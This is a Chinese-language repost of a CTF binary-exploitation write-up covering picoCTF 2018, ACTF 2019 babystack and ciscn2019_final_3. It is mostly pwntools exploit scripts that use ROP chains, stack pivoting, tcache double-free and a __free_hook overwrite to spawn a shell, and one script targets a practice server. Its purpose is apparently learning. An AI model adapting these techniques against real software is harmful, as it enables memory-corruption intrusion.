栏目分类:
子分类:
返回
名师互学网用户登录
快速导航关闭
当前搜索
当前分类
子分类
实用工具
热门搜索
名师互学网 > IT > 软件开发 > 后端开发 > C/C++/C#

(只有静态直接ropgadget,64位栈迁移,uaf+dou c)picoctf

C/C++/C# 更新时间: 发布时间: IT归档 最新发布 模块sitemap 名妆网 法律咨询 聚返吧 英语巴士网 伯小乐 网商动力

(只有静态直接ropgadget,64位栈迁移,uaf+dou c)picoctf

ROPgadget --binary PicoCTF_2018_can-you-gets-me  --ropchain
无got,plt表时,直接构造rop链,使用工具可以直接生成

actf_2019_babystack

其实没什么好说的溢出只有0x10,而且恰好又泄露了栈的地址,真的是好久不见64位rop构造和栈迁移代码(思路是没有问题的不知为什么,在我的电脑上跑不了会报错)

from pwn import *

context(arch='amd64', os='linux', log_level='debug')

file_name = './ACTF_2019_babystack'

r = process(file_name)

elf = ELF(file_name)



r.recvuntil("Welcome to ACTF's babystack!")

r.recvuntil('How many bytes of your message?')
r.recvuntil('>')
r.sendline('224')

r.recvuntil('0x')
message_addr = int(r.recv(12), 16)
success('message_addr = ' + hex(message_addr))
r.recvuntil('What is the content of your message?')
r.recvuntil('>')

puts_got = elf.got['puts']
puts_plt = elf.plt['puts']
leave_ret = 0x400A18
main_addr = 0x4008F6
pop_rdi_ret = 0x0000000000400ad3

p1 = 'a' * 8 + p64(pop_rdi_ret) + p64(puts_got) + p64(puts_plt) + p64(main_addr)
p1 = p1.ljust(0xd0, 'x00')
p1 += p64(message_addr) + p64(leave_ret)
r.send(p1)

puts_addr = u64(r.recvuntil('x7f')[-6:].ljust(8, 'x00'))
success('puts_addr = ' + hex(puts_addr))
libc = ELF('./libc-2.27(2).so')
libc_base = puts_addr - libc.sym['puts']
system_addr = libc_base + libc.sym['system']
bin_sh = libc_base + libc.search('/bin/shx00').next()
one = [0x4f2c5, 0x4f322, 0x10a38c]
one_gadget = one[1] + libc_base


r.recvuntil('How many bytes of your message?')
r.recvuntil('>')
r.sendline('224')

r.recvuntil('0x')
message_addr = int(r.recv(12), 16)
success('message_addr = ' + hex(message_addr))
r.recvuntil('What is the content of your message?')
r.recvuntil('>')

ret = 0x400A4F


p2 = 'a' * 8 + p64(ret) + p64(one_gadget)
p2 = p2.ljust(0xd0, 'x00')
p2 += p64(message_addr) + p64(leave_ret)
r.send(p2)

r.interactive()
ciscn2019_final_3

复现了一下别人的exp,2.27是可以在tcache中double free的如果有uaf漏洞就可以伪造堆块修改大小超过0x400来构造unsortbin,但是我们更改前申请的堆的大小总和一点要大于我们构造unsortbin的大小不然就会报错,还有一点在链表里面没有tcache时我们是无法malloc到unsortbin的所以,我们就只能,先随意free一个之后再malloc一个堆块

from pwn import *

context(arch='amd64', os='linux', log_level='debug')

file_name = './ciscn_final_3'
r = remote('node4.buuoj.cn', 28095)
r = process(file_name)
elf = ELF(file_name)
menu = 'choice > '

def add(index, size, content):
    r.sendlineafter(menu, '1')
    r.sendlineafter('input the index', str(index))
    r.sendlineafter('input the size', str(size))
    r.sendlineafter('now you can write something', content)

def delete(index):
    r.sendlineafter(menu, '2')
    r.sendlineafter('input the index', str(index))

add(0,0x78,'a')
r.recvuntil('gift :')
heap_addr = int(r.recvline()[2:],16)
success('heap_addr = ' + hex(heap_addr))
add(1,0x18,'b')

for i in range(2, 12):
    add(i, 0x78, 'aaaa')

add(12, 0x28, 'd')#12

delete(12)
delete(12)

add(13, 0x28, p64(heap_addr - 0x10))
add(14, 0x28, 'a')
add(15, 0x28, p64(0) + p64(0x421))

delete(0)
delete(1)

add(16, 0x78, 'aaaa')
add(17, 0x10, 'bbbb')
add(18, 0x10, 'cccc')

r.recvuntil('gift :')
malloc_hook = int(r.recvline()[2:],16) - 96 - 0x10
success('malloc_hook = ' + hex(malloc_hook))

libc = ELF('libc.so.6')
libc_base = malloc_hook - libc.sym['__malloc_hook']
free_hook = libc_base + libc.sym['__free_hook']
one = [0x4f2c5, 0x4f322, 0x10a38c]
one_gadget = one[1] + libc_base

delete(8)
delete(8)

add(19, 0x78, p64(free_hook))
add(20, 0x78, 'aaaa')
add(21, 0x78, p64(one_gadget))

delete(9)
#gdb.attach(r)
r.interactive()

转载请注明:文章转载自 www.mshxw.com
本文地址:https://www.mshxw.com/it/1021786.html
我们一直用心在做
关于我们 文章归档 网站地图 联系我们

版权所有 (c)2021-2022 MSHXW.COM

ICP备案号:晋ICP备2021003244-6号